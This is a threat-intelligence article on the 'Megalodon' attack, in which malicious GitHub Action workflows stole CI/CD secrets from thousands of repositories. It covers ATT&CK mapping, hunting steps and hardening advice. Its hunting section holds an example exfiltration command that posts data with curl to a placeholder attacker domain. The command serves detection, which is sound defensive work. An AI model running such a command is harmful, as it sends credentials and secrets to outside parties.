A sophisticated and large-scale software supply chain attack, dubbed Megalodon, has been uncovered, impacting more than 5,500 GitHub repositories. The attack, attributed to a threat actor known as TeamPCP, involved injecting malicious code into GitHub Action workflows. The primary objective was the mass theft of sensitive credentials and secrets stored within continuous integration and continuous deployment (CI/CD) environments. This incident is part of a broader campaign that also included compromises of packages in the npm and PyPI ecosystems, highlighting a significant and ongoing threat to the software development lifecycle. The Cybersecurity and Infrastructure Security Agency (CISA) has responded with a warning to organizations about compromises in software development pipelines.
The Megalodon attack took place on May 18, 2026, with attackers making over 5,700 malicious commits to thousands of public repositories in just six hours. The attack had two primary payloads delivered via malicious GitHub Action workflows:
push and pull_request event. This workflow would then exfiltrate secrets and environment variables.The exfiltrated data was extensive, including CI environment variables, AWS credentials, GCP access tokens, Azure credentials, API tokens, and SSH keys. This attack was the second wave of a campaign; the first, named "Mini Shai-Hulud" (April 29 - May 12, 2026), was a self-propagating worm that compromised 172 packages on npm and PyPI.
The attack is a classic example of CI/CD pipeline compromise, focusing on a weak link in the software supply chain: automated build processes.
T1195.001 - Compromise Software Dependencies and Development Tools: The core of the attack was compromising GitHub repositories and injecting malicious GitHub Actions, a key development tool.T1078.001 - Default Credentials: The attackers likely gained initial access to the repositories by using compromised developer credentials or tokens, which may have been stolen in previous campaigns or leaked elsewhere.T1552.005 - Cloud Credentials: The primary objective was to steal cloud credentials stored as secrets or environment variables within the GitHub Actions environment.T1040 - Network Sniffing: While not sniffing in the traditional sense, the malicious workflow effectively 'sniffs' the CI/CD environment for any available secrets and exfiltrates them.T1548.004 - Elevated Execution with Scheduled Job: The GitHub Action, which runs on events like push, acts as a scheduled job that executes the attacker's malicious code within the trusted context of the repository's runner.The Megalodon attack poses a severe risk to the software ecosystem. By compromising 5,500 repositories, the attackers have potentially gained access to the cloud environments of thousands of organizations and individual developers. This access could be used for cryptojacking, data theft, or as a launchpad for further, more targeted attacks. Furthermore, if any of these repositories are popular open-source projects, the malicious workflows could be forked and used by countless downstream users, propagating the compromise exponentially. The theft of API tokens and SSH keys could also lead to the compromise of other services beyond cloud providers, such as package registries, databases, and internal servers.
No specific file hashes or IP addresses were provided in the source articles. The primary indicator is the presence of unauthorized or modified GitHub Action workflow files.
Security teams should hunt for the following patterns within their GitHub organizations:
file_path/.github/workflows/command_line_patterncommand_line_patterncurl -X POST -d @- http://<attacker-domain>run commands that use curl or wget to send data to an external, non-standard domain.log_sourceGitHub Audit Logs.github/workflows/ files in all repositories. Look for any recently added or modified workflows, especially those committed by unfamiliar accounts or containing suspicious run steps.GITHUB_TOKENs, cloud provider keys, API tokens, and any other secrets stored in GitHub Secrets for that repository.Securing the CI/CD pipeline is critical to preventing such attacks.
permissions key in the workflow file to restrict the default read/write permissions of the GITHUB_TOKEN.user/action@commit-hash) rather than a branch or tag (user/action@v1). This prevents the action from being maliciously updated without your knowledge.Harden CI/CD pipeline configurations by restricting workflow permissions and requiring manual approval for workflow changes from external contributors.
Mapped D3FEND Techniques:
Use OIDC to federate identity between GitHub and cloud providers, eliminating the need for static, long-lived credentials in repositories.
Mapped D3FEND Techniques:
To defend against attacks like Megalodon, organizations must aggressively harden their GitHub Actions configurations. First, implement the principle of least privilege by explicitly defining the permissions key at the top level of every workflow file. By default, the GITHUB_TOKEN has broad permissions; this should be restricted to permissions: read-all or even more granularly, such as contents: read, and only grant write permissions when absolutely necessary. Second, for public repositories, enable the 'Require approval for first-time contributors' setting, which forces a manual review of any pull request that modifies a workflow. Third, transition from static, long-lived secrets to OpenID Connect (OIDC). OIDC allows workflows to authenticate directly with cloud providers like AWS, Azure, and GCP to receive short-lived, dynamically generated credentials, completely removing the risk of stolen static secrets from your repository's configuration.
In the context of the Megalodon attack, System File Analysis means continuous, automated analysis of workflow files (*.yml) within the .github/workflows/ directory. Organizations should deploy tools that act as a 'CI/CD firewall.' These tools can be integrated as status checks on pull requests, automatically scanning any proposed changes to workflow files. The analysis should look for suspicious patterns, such as the use of curl or wget to exfiltrate data to unknown domains, the execution of obfuscated scripts (e.g., using base64), or the addition of new, unverified third-party actions. By creating a baseline of known-good workflow behavior and alerting on any deviation, security teams can detect and block malicious commits before they are merged into the main branch and executed, effectively preventing the compromise.
The first wave of the attack, 'Mini Shai-Hulud,' begins, compromising npm and PyPI packages.
The 'Mini Shai-Hulud' wave of the attack concludes.
The second wave, 'Megalodon,' occurs, compromising over 5,500 GitHub repositories within a six-hour window.

Cybersecurity professional with over 10 years of specialized experience in security operations, threat intelligence, incident response, and security automation. Expertise spans SOAR/XSOAR orchestration, threat intelligence platforms, SIEM/UEBA analytics, and building cyber fusion centers. Background includes technical enablement, solution architecture for enterprise and government clients, and implementing security automation workflows across IR, TIP, and SOC use cases.
Help others stay informed about cybersecurity threats
Every tactic, technique, and sub-technique used in this threat has been identified and mapped to the MITRE ATT&CK framework for consistent, actionable threat language.
Observables and indicators of compromise (IOCs) have been extracted and cataloged. Risk has been assessed and correlated with known threat actors and historical campaigns.
Detection rules, incident response steps, and D3FEND-aligned mitigation strategies are included so your team can act on this intelligence immediately.
Structured threat data is packaged as a STIX 2.1 bundle and can be visualized as an interactive graph — relationships between actors, malware, techniques, and indicators.
Sigma detection rules are derived from the threat techniques in this article and can be converted for deployment across any major SIEM or EDR platform.